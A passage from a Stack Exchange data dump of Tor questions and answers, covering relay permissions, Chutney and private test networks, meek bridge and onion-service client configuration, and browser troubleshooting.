Many users already know about the Tor but they just not thought to run their own relay.&lt;/p&gt;&#xA;&lt;p&gt;Last but not least: we can go further and make all users as relays by default. Similarly to Torrent when users downloading a file many of them even don't realize that they become seeders.&lt;/p&gt;&#xA;&lt;p&gt;Basically including Tor into a Crypto wallets or Torrent clients may be a good composition and may be appreciated by users. For example WebTorrent is a successful project that used WebRTC to share files directly with browsers and this similar to Tor Snowflake project.&lt;/p&gt;&#xA;&lt;p&gt;In the similar way previously worked Skype and there was &lt;a href=&quot;https://en.wikipedia.org/wiki/Skype_protocol&quot; rel=&quot;nofollow noreferrer&quot;&gt;p2p Super Nodes&lt;/a&gt; and regular users might become a relay. Chat applications is a good place were the Tor can be used.&lt;/p&gt;&#xA;&lt;p&gt;There was a p2p VPN that was popular but they simply didn't tell users that they become an exit nodes and it was closed. See &lt;a href=&quot;https://www.youtube.com/watch?v=VMQQkxtxeZk&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mental Outlaw: 911 Residential Proxy&lt;/a&gt; about their story. The fact that they worked for so long really wonders. This not something that the Tor should follow but anyway it shows that basically most users didn't really bothered that they were an exit node and everything was mostly fine. If they were just a relay this will never even discussed.&lt;/p&gt;&#xA;" OwnerUserId="34729" LastEditorUserId="34729" LastEditDate="2023-10-19T22:32:03.353" LastActivityDate="2023-10-19T22:32:03.353" CommentCount="1" CommunityOwnedDate="2023-10-19T22:32:03.353" ContentLicense="CC BY-SA 4.0" />
  <row Id="23851" PostTypeId="1" CreationDate="2023-10-24T19:05:19.067" Score="0" ViewCount="135" Body="&lt;p&gt;I am using NetHunter Kali Linux. I am using the Tor service to start the Tor hidden services. When I enter &lt;code&gt;sudo service tor start&lt;/code&gt; in the command line, the following error pops up:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/etc/init.d/tor: line 140: ulimit: open files: cannot modify limit: Operation not permitted&#xA;&#xA;Checking if tor configuration is valid ... failed!&#xA;Oct 24 15:28:01.409 [notice] Tor 0.4.8.7 running on Linux with Libevent 2.1.12-stable, OpenSSL 3.0.11, Zlib 1.2.13, Liblzma 5.4.4, Libzstd 1.5.5 and Glibc 2.37 as libc.&#xA;Oct 24 15:28:01.409 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://support.torproject.org/faq/staying-anonymous/&#xA;Oct 24 15:28:01.410 [notice] Read configuration file &amp;quot;/usr/share/tor/tor-service-defaults-torrc&amp;quot;.&#xA;Oct 24 15:28:01.411 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Oct 24 15:28:01.418 [warn] /var/lib/tor/hidden_service/ is not owned by this user (debian-tor, 120) but by root (0). Perhaps you are running Tor as the wrong user?&#xA;Oct 24 15:28:01.419 [warn] Failed to parse/validate config: Failed to configure rendezvous options. See logs for details.&#xA;Oct 24 15:28:01.419 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="39083" LastEditorUserId="6656" LastEditDate="2023-11-06T18:35:47.563" LastActivityDate="2023-11-06T18:35:47.563" Title="Tor 'service start' not working on NetHunter Kali Linux" Tags="|android|kali-linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23852" PostTypeId="2" ParentId="23851" CreationDate="2023-10-25T15:18:53.020" Score="0" Body="&lt;p&gt;Fix your permissions by using &lt;code&gt;chown -R tor-user:tor-group /path/to/your/hs/folder&lt;/code&gt; - I do recommend to put in on the systemd service file as ExecStartPre line, just in case. The execution is started from the root user - and it's OK, because chown will be passing successfully &lt;strong&gt;and&lt;/strong&gt; Tor itself will drop it's privileges to the user configured in your &lt;code&gt;torrc&lt;/code&gt; ASAP&lt;/p&gt;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&lt;p&gt;try &lt;code&gt;chown -R debian-tor:debian-tor /var/lib/tor&lt;/code&gt;&#xA;or &lt;code&gt;chown -R tor:tor /var/lib/tor&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2023-10-26T11:18:48.117" LastActivityDate="2023-10-26T11:18:48.117" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23853" PostTypeId="1" CreationDate="2023-10-29T10:22:55.330" Score="0" ViewCount="71" Body="&lt;p&gt;I'm working on my thesis, the goal of which is to create my own instance of a private Tor network. I currently have 5 nodes in my network, 1 node is a client and 4 nodes are for creating circuits(Directory Authority-DA, Guard, Relay and Exit). Yesterday I set the necessary flag(&lt;em&gt;TestingDirAuthVoteGuard&lt;/em&gt;) on DA to make one of the nodes become Guard. Since then, I have the following statements in Nyx:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;DA&lt;/strong&gt;: Failed to find node for hop #2 of our path, No available nodes when trying to choose node. Failing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Guard&lt;/strong&gt;: Failed to find node for hop #1 of our path. Discarding this circuit. No available nodes when trying to choose node. Failing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Relay&lt;/strong&gt;: Failed to find node for hop #1 of our path. Discarding this circuit. No available nodes when trying to choose node. Failing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Exit&lt;/strong&gt;: All routers are down or won't exit -- choosing a doomed exit at random.  Failed to choose an exit server.&lt;/p&gt;&#xA;&lt;p&gt;I would be very grateful if someone would be willing to help me/explain this to me, I can also post torrc/excerpts from Nyx. Alternatively, I'd also be happy for directions on what to study in the documentation.&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="39102" LastEditorUserId="39102" LastEditDate="2023-11-04T16:25:08.077" LastActivityDate="2023-11-04T16:25:08.077" Title="Need help with private Tor network setup" Tags="|private|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23854" PostTypeId="1" CreationDate="2023-10-29T12:34:49.707" Score="0" ViewCount="43" Body="&lt;p&gt;I have configured a meek client with the following Tor configuration:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BridgeRelay 1&#xA;ORPort 9001&#xA;ExtORPort auto&#xA;SocksPort 0&#xA;ServerTransportListenAddr meek 0.0.0.0:7002&#xA;ServerTransportPlugin meek exec /opt/meek/meek-server/meek-server --log /var/lib/tor/meek.log --cert /opt/meek/cert.pem --key /opt/meek/key.pem&#xA;ExitPolicy reject :&#xA;&#xA;Log notice file /var/lib/tor/notice.log&#xA;Log info file /var/lib/tor/info.log&#xA;Log debug file /var/lib/tor/debug.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The machine's IP is xxx.xxx.xxx.xxx, and the logs show:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;│ 19:58:41 [NOTICE] Your Tor bridge's hashed identity key fingerprint is 'Unnamed E268394539AB8608965885574B8FC701809CA095'&#xA;│ 19:58:41 [NOTICE] Your Tor server's identity key fingerprint is 'Unnamed DBC3063C7253363D6BD6AD9F30C24CCDEE85CA10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How should I configure my client-side Tor configuration file? My current configuration is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;Bridge meek 8.222.162.84:7002 url=8.222.162.84:7002/&#xA;&#xA;&#xA;&#xA;NickName client&#xA;Address xxx.xxx.xxx.xxx&#xA;&#xA;HashedControlPassword 16:D46B5CED4E032DF2600006FA84654B68516FF33AA59951DD252B4222D2&#xA;CookieAuthentication 1&#xA;&#xA;&#xA;SocksPort 9050&#xA;ControlPort 9051&#xA;&#xA;&#xA;Log notice file /var/lib/tor/notice.log&#xA;Log info file /var/lib/tor/info.log&#xA;Log debug file /var/lib/tor/debug.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;how to modify my torrc file, so my client could get the meek server? thanks&lt;/p&gt;&#xA;" OwnerUserId="39088" LastActivityDate="2023-10-29T12:34:49.707" Title="How to connect to my configured personal meek bridge in Tor client?" Tags="|configuration|meek|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23855" PostTypeId="1" CreationDate="2023-10-29T23:08:31.957" Score="0" ViewCount="24" Body="&lt;p&gt;First post here as I've just started using Tor.  I have a server running on a machine with a hidden service on port 50001.  I'm trying to connect to it from my laptop using the server hidden service onion address and send it json objects to retrieve data.  I am able to do this fine over my local network using sockets (not using tor or onion address) but haven't been able to get it to work over tor.&lt;/p&gt;&#xA;&lt;p&gt;I'm able to create a tor instance but I'm trying to use sockets with the 127.0.0.1:9050 proxy but how do I specify the onion address I want to communicate with?  The onion address doesn't contain an IP that sockets needs.  So not sure how to do this.  Showing what I have so far below.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;socks_proxy = ('127.0.0.1', 9050)&#xA;&#xA;onion_service_address = 'my server onion address'&#xA;onion_service_port = 50001&#xA;&#xA;with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:&#xA;    # Connect to the Tor SOCKS proxy&#xA;    s.connect(socks_proxy)&#xA;&#xA;    # Send the Tor-specific handshake to establish a connection&#xA;    s.send(b'\x05\x01\x00')&#xA;&#xA;    # Receive the response to the handshake&#xA;    response = s.recv(2)&#xA;&#xA;    # Check if the response indicates a successful connection&#xA;    if response == b'\x05\x00':&#xA;        # JSON request to send to the onion service&#xA;        json_data= {&amp;quot;id&amp;quot;: 1, &amp;quot;jsonrpc&amp;quot;: &amp;quot;2.0&amp;quot;, &amp;quot;method&amp;quot;: method, &amp;quot;params&amp;quot;: []}&#xA;&#xA;        # Construct the onion service address with its port&#xA;        onion_service_address_with_port = f&amp;quot;{onion_service_address}:{onion_service_port}&amp;quot;&#xA;&#xA;        # Connect to the onion service through the Tor SOCKS proxy&#xA;        s.send(f'\x05\x01\x00\x03{len(onion_service_address)}{onion_service_address_with_port}'.encode())&#xA;&#xA;        # Receive the response to the connection request&#xA;        response = s.recv(10)&#xA;&#xA;        # Check if the response indicates a successful connection&#xA;        if response == b'\x05\x00\x00\x03':&#xA;            # Serialize the JSON data to bytes&#xA;            json_bytes = json.dumps(json_data).encode(&amp;quot;utf-8&amp;quot;)&#xA;&#xA;            # Send the JSON data&#xA;            s.send(json_bytes)&#xA;&#xA;            # Receive and print the response&#xA;            response = s.recv(4096)&#xA;            print(response.decode(&amp;quot;utf-8&amp;quot;))&#xA;&#xA;        else:&#xA;            print(&amp;quot;Failed to connect to the onion service.&amp;quot;)&#xA;&#xA;    else:&#xA;        print(&amp;quot;Failed to connect to the Tor SOCKS proxy.&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="39103" LastActivityDate="2023-10-29T23:08:31.957" Title="Sending a json request over tor to a Hidden Service Onion Address on port 50001" Tags="|socks|onionaddress|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23856" PostTypeId="1" CreationDate="2023-10-31T10:41:11.670" Score="0" ViewCount="38" Body="&lt;p&gt;My goal is to create a private Tor network in order to first de-anonymize a user and then develop a patch to address the issue. Currently, I have decided to create the Tor network using Chutney. Everything is working correctly, and I have managed to build and start a &amp;quot;basic&amp;quot; network as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;network-status-version 3&#xA;vote-status consensus&#xA;consensus-method 33&#xA;valid-after 2023-10-31 10:23:40&#xA;fresh-until 2023-10-31 10:24:00&#xA;valid-until 2023-10-31 10:24:20&#xA;voting-delay 4 4&#xA;client-versions &#xA;server-versions &#xA;known-flags Authority Exit Fast Guard HSDir NoEdConsensus Running Stable StaleDesc Sybil V2Dir Valid&#xA;recommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2&#xA;recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2&#xA;required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2&#xA;required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2&#xA;params AuthDirMaxServersPerAddr=0 cc_alg=2&#xA;shared-rand-previous-value 3 rUcn/IT4nhqv5eCzCsDBVGVzQRdFkOR/UajC3JixiYM=&#xA;shared-rand-current-value 3 C3gHLw06tYDXyBeubziJegbUCf43YMpbGOi7y3YXDps=&#xA;dir-source test000a 0A8501C1768E76F416F61C28DF1049F40EA3033C 127.0.0.1 127.0.0.1 7000 5000&#xA;contact auth0@test.test&#xA;vote-digest C3CD210E2FCAAD65471871FD5B37FE60FB1AE25E&#xA;dir-source test001a 2094F53F2D6A3B3628C074E54EF0FCE812F97699 127.0.0.1 127.0.0.1 7001 5001&#xA;contact auth1@test.test&#xA;vote-digest 6C32539D17ED084A170F5F690392DE6DB983851C&#xA;dir-source test002a 92A77533CD5C41C22B5113303F4AC719B94EA0A8 127.0.0.1 127.0.0.1 7002 5002&#xA;contact auth2@test.test&#xA;vote-digest 697070F2E5264238D5C59391F330B34340C1E1E0&#xA;r test005r F6VWC0G33NIDQzU1nCKRnaD0/q8 n+GIcD89B/BUjn7Cy/JTYFz8/aE 2023-10-31 09:22:31 127.0.0.1 5005 0&#xA;s Exit Fast Guard HSDir Running Stable V2Dir Valid&#xA;v Tor 0.4.8.7&#xA;pr Conflux=1 Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4&#xA;w Bandwidth=71 Unmeasured=1&#xA;p accept 1-65535&#xA;r test002a XK1ki9B89y2qO7ecWtvbvScga6A 80zBwz5yMcvrx+tsbYBwIGq6unc 2023-10-31 09:55:21 127.0.0.1 5002 7002&#xA;s Authority Exit Fast Guard HSDir Running Stable V2Dir Valid&#xA;v Tor 0.4.8.7&#xA;pr Conflux=1 Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4&#xA;w Bandwidth=187 Unmeasured=1&#xA;p reject 1-65535&#xA;r test003r fipHaZCXkRHJIxZBOsyX2WqFwCg +GLjGaNBgO8ftALbiuAEzDJQHRk 2023-10-31 09:22:31 127.0.0.1 5003 0&#xA;s Exit Fast Guard HSDir Running Stable V2Dir Valid&#xA;v Tor 0.4.8.7&#xA;pr Conflux=1 Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4&#xA;w Bandwidth=106 Unmeasured=1&#xA;p accept 1-65535&#xA;r test001a h7XwPg2pOTJcBhri3trz70CucK0 QQcHys13REdNj91vofR1t69pHow 2023-10-31 09:55:21 127.0.0.1 5001 7001&#xA;s Authority Exit Fast Guard HSDir Running Stable V2Dir Valid&#xA;v Tor 0.4.8.7&#xA;pr Conflux=1 Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4&#xA;w Bandwidth=120 Unmeasured=1&#xA;p reject 1-65535&#xA;r test006r xniMQd2ScOo/IduuY2q9greMzwA eFgky8YnEeZdM6dRy0qITHGySU0 2023-10-30 18:10:53 127.0.0.1 5006 0&#xA;s Exit Fast Guard HSDir Running Stable V2Dir Valid&#xA;v Tor 0.4.8.7&#xA;pr Conflux=1 Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4&#xA;w Bandwidth=56 Unmeasured=1&#xA;p accept 1-65535&#xA;r test007r yTvBIhZ7ytGqN88g/afj2tKbQAw 3vgPnqwCHqDeCD91/q5p9Q0j6CY 2023-10-30 18:09:53 127.0.0.1 5007 0&#xA;s Exit Fast Guard HSDir Running Stable V2Dir Valid&#xA;v Tor 0.4.8.7&#xA;pr Conflux=1 Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4&#xA;w Bandwidth=55 Unmeasured=1&#xA;p accept 1-65535&#xA;r test000a 1I5Rn/gdwFUa1mqqqoHO6IoiZvA vMfHfrDhomTYVy0SOfnA5OHlOyw 2023-10-31 09:55:22 127.0.0.1 5000 7000&#xA;s Authority Exit Fast Guard HSDir Running V2Dir Valid&#xA;v Tor 0.4.8.7&#xA;pr Conflux=1 Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4&#xA;w Bandwidth=149 Unmeasured=1&#xA;p reject 1-65535&#xA;r test004r 4DbmTov/anv0146KA884JQ30Nxc zr97lvG2T56NTS2J5nt098FhtrY 2023-10-31 09:22:31 127.0.0.1 5004 0&#xA;s Exit Fast Guard HSDir Running Stable V2Dir Valid&#xA;v Tor 0.4.8.7&#xA;pr Conflux=1 Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4&#xA;w Bandwidth=55 Unmeasured=1&#xA;p accept 1-65535&#xA;directory-footer&#xA;bandwidth-weights Wbd=3333 Wbe=0 Wbg=0 Wbm=10000 Wdb=10000 Web=10000 Wed=3333 Wee=10000 Weg=3333 Wem=10000 Wgb=10000 Wgd=3333 Wgg=10000 Wgm=10000 Wmb=10000 Wmd=3333 Wme=0 Wmg=0 Wmm=10000&#xA;directory-signature 0A8501C1768E76F416F61C28DF1049F40EA3033C A2E9F25E2526A060677A2DB545067D699F4AAC50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, my question is: Is it possible to impersonate a user and send a packet through the network that can be sniffed both at the entry node and the exit node using Wireshark?&lt;/p&gt;&#xA;" OwnerUserId="39120" LastActivityDate="2023-10-31T10:41:11.670" Title="I'm installing Chutney to try to emulate a private TOR network" Tags="|network-configuration|tor-network|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23857" PostTypeId="1" CreationDate="2023-11-02T00:39:59.683" Score="0" ViewCount="32" Body="&lt;p&gt;Okay so earlier today I went to go use Tor so I can us stuff unblocked but when I went to open it its said that &amp;quot;This item 'firefox.exe' that this shortcut refers to has been changed or moved, so this shortcut will no longer work properly.&amp;quot; if anyone knows a way around this please send help, im retarded :p&lt;/p&gt;&#xA;" OwnerUserId="39126" LastActivityDate="2023-11-02T00:39:59.683" Title="Tor browser not opening" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23859" PostTypeId="1" CreationDate="2023-11-02T20:51:19.100" Score="0" ViewCount="224" Body="&lt;p&gt;I want to monetize my traffic that goes through my Tor -Exit Node, to maintain the cost that comes with running an Exit Node.&lt;/p&gt;&#xA;&lt;p&gt;How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="39130" LastActivityDate="2023-11-09T10:19:52.147" Title="How do I monetize my Tor-Exit Node?" Tags="|exit-relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23860" PostTypeId="1" CreationDate="2023-11-04T20:06:56.593" Score="0" ViewCount="201" Body="&lt;p&gt;Tor crashes on start-up every time. I have tried reinstalling from scratch. I have tried disabling my firewall and made sure Tor is allowed through the firewall. I have no anti-virus open and disabled the Windows one. I didn't see anything in Event Viewer but I might not have been using it right, idk. Sometimes (but not always) a popup comes up before it crashes again which says Tor exited during startup. I have tried restarting my PC of course. Can't see any logs.&lt;/p&gt;&#xA;&lt;p&gt;Please note I am very stupid and tech illiterate so I might need to be walked through any solutions&lt;/p&gt;&#xA;" OwnerUserId="39140" LastEditorUserId="39140" LastEditDate="2023-11-04T20:07:04.097" LastActivityDate="2023-11-08T12:33:19.570" Title="Tor crashes on startup-I don't think it's my antivirus (WINDOWS 11)" Tags="|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23861" PostTypeId="1" AcceptedAnswerId="23862" CreationDate="2023-11-05T04:07:39.923" Score="0" ViewCount="77" Body="&lt;p&gt;The &amp;quot;&lt;a href=&quot;https://spec.torproject.org/control-spec/commands.html#getinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;getinfo&lt;/code&gt;&lt;/a&gt;&lt;code&gt; address&lt;/code&gt;&amp;quot; command documentation says:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;address&amp;quot; -- the best guess at our external IP address. If we&#xA;  have no guess, return a 551 error. (Added in 0.1.2.2-alpha)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why doesn't Tor always know exactly what the exit node's IP address is?&lt;/p&gt;&#xA;" OwnerUserId="7643" LastActivityDate="2023-11-13T13:28:55.027" Title="Why dosen't Tor always know the external IP address?" Tags="|exit-relays|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23862" PostTypeId="2" ParentId="23861" CreationDate="2023-11-06T10:27:38.373" Score="1" Body="&lt;p&gt;There are multiple possibilities:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The server has no external IP. Nothing is stopping you from starting the Tor relay software on a server that isn't connected to the Internet.&lt;/li&gt;&#xA;&lt;li&gt;The server is connected to the internet, but sits behind a NAT and the mechanism to detect the external IP (e.g. a third-party website) is down.&lt;/li&gt;&#xA;&lt;li&gt;There is an address that looks like an external IP, but the server is not reachable at that address. I'm actually not sure how Tor handles that case - it might be that this is not checked here, but somewhere else down the line.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6869" LastEditorUserId="6869" LastEditDate="2023-11-13T13:28:55.027" LastActivityDate="2023-11-13T13:28:55.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23864" PostTypeId="2" ParentId="23860" CreationDate="2023-11-08T12:33:19.570" Score="0" Body="&lt;p&gt;It can be Microsoft's &lt;em&gt;feature&lt;/em&gt; to bind system networking services on port 9050 - happens since Windows 7 SP1. To fix it just select a different port for your proxy - like 19050 - and it will be just fine&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-11-08T12:33:19.570" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23865" PostTypeId="2" ParentId="23859" CreationDate="2023-11-09T10:19:52.147" Score="0" Body="&lt;p&gt;There's no way to charge users of your Tor relay. The Tor network is fundamentally designed for Tor relay operators to donate their services to Tor users.&lt;/p&gt;&#xA;&lt;p&gt;If you wanted to monetize your relay, you would have to setup something like your own private Tor network, where you can charge people for access (or join a network which already does this, like alpominth in the comment mentioned).&#xA;If you do this though, it wouldn't be a Tor relay anymore ;)&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2023-11-09T10:19:52.147" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23866" PostTypeId="2" ParentId="10141" CreationDate="2023-11-16T15:27:58.560" Score="0" Body="&lt;p&gt;To maximally &lt;strong&gt;decrease&lt;/strong&gt; this probability - use a different proxy authentication credentials. Tor checks if there's a different auth provided - it has to be a different path. Use any username and password you wish, they just has to be different. But - anyway - check the exit node's IP, this is not an ensurance&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-11-16T15:27:58.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23867" PostTypeId="1" CreationDate="2023-11-16T15:43:24.177" Score="0" ViewCount="21" Body="&lt;p&gt;I ran a comparative test, two different versions, out-of-the-box, used same site to test:&lt;/p&gt;&#xA;&lt;p&gt;This is the website that I used to test: &lt;a href=&quot;https://www.bennish.net/web-notifications.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.bennish.net/web-notifications.html&lt;/a&gt; .&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor &lt;code&gt;12.0.3&lt;/code&gt;: &lt;strong&gt;working&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tor &lt;code&gt;12.5.5&lt;/code&gt;: &lt;strong&gt;&lt;em&gt;not&lt;/em&gt; working&lt;/strong&gt;; displays the message &lt;code&gt;Permission to display: denied&lt;/code&gt; when I click &lt;code&gt;Authorize&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;See also attached screenshot.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Did something change regarding this ?&lt;/strong&gt;&lt;br /&gt;&#xA;I could not find anything in the changelog...&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JL8uk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JL8uk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="37061" LastActivityDate="2023-11-16T15:43:24.177" Title="Are desktop notifications not working in more recent TOR versions?" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23868" PostTypeId="1" CreationDate="2023-11-17T05:29:56.030" Score="0" ViewCount="60" Body="&lt;p&gt;We have an application that's trying to connect to Tor, and when Tor starts, it blocks for about 15 seconds before responding on the control port.&lt;/p&gt;&#xA;&lt;p&gt;This is the behaviour we are observing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Nov 16 13:21:17.969 [notice] Opening Control listener on 127.0.0.1:39069&#xA;Nov 16 13:21:17.969 [notice] Opened Control listener connection (ready) on 127.0.0.1:39069&#xA;Nov 16 12:21:18 starting application&#xA;Nov 16 13:21:33.000 [notice] Starting with guard context &amp;quot;default&amp;quot;&#xA;Nov 16 12:21:33 tor connected&#xA;Nov 16 13:21:33.000 [notice] New control connection opened from 127.0.0.1.&#xA;Nov 16 13:21:33.000 [notice] New control connection opened from 127.0.0.1.&#xA;Nov 16 13:21:33.000 [notice] Bootstrapped 5% (conn): Connecting to a relay&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As soon as Tor has opened its control port, we send the auth cookie to the port but we wait for the ok back from Tor. But this only happens after tor prints &lt;code&gt;Starting with guard context &amp;quot;default&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The question is, what is Tor doing between opening the control port and printing that out? It looks like something is blocking Tor. It's not doing the same behaviour on PC.&lt;/p&gt;&#xA;&lt;p&gt;Is there something we can enable to see better logs and see what Tor is doing and how we can remove that blocker?&lt;/p&gt;&#xA;&lt;p&gt;After that startup, if Tor is kept open, it will always respond fairly quickly. It's just on the initial startup where something is blocking.&lt;/p&gt;&#xA;" OwnerUserId="39190" LastEditorUserId="39190" LastEditDate="2023-11-19T20:15:48.400" LastActivityDate="2023-11-19T20:15:48.400" Title="Tor slow to respond on control port on mobile" Tags="|configuration|mobile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23869" PostTypeId="1" AcceptedAnswerId="23870" CreationDate="2023-11-18T14:28:22.567" Score="0" ViewCount="62" Body="&lt;p&gt;My question is about what my ISP can see if I enable JavaScript on a site.I would like to use TOR to access sites without letting my work know, but some sites will only work with JavaScript on.&#xA;If I turn on JavaScript, can my workplace see what sites I'm using TOR to access?&#xA;I am not doing anything illegal so I'm not worried about total anonymity from a government or anything like that. I just want to browse on work wifi without work knowing what sites I'm on.&#xA;I do FetLife and Onlyfans photography. I would like to check in with potential clients/models while at work, but I don't want to be unprofessional by having those sites on the work wifi. Also, data without wifi is a no-go as the building blocks the signal.&lt;/p&gt;&#xA;" OwnerUserId="39197" LastActivityDate="2023-11-18T21:46:00.073" Title="If I turn on JavaScript, can my workplace see what sites I'm using TOR to access?" Tags="|anonymity|javascript|java|tor-network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23870" PostTypeId="2" ParentId="23869" CreationDate="2023-11-18T21:46:00.073" Score="0" Body="&lt;p&gt;if you'll use an isolated VM for that - nobody will know for sure. If you'll use just Tor browser - it's mostly safe according to your situation, but leaks are possible&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-11-18T21:46:00.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23871" PostTypeId="2" ParentId="23868" CreationDate="2023-11-18T21:48:24.090" Score="0" Body="&lt;p&gt;It's bootstrapping :D Check the logs: it has to be up and running so you will have an working instance to control, so that's why it happens after that time. But anyway - it should respond you. So use the protocol to check if it's bootstrapped, if it's not - just give it like 15 seconds before checking again&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-11-18T21:48:24.090" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
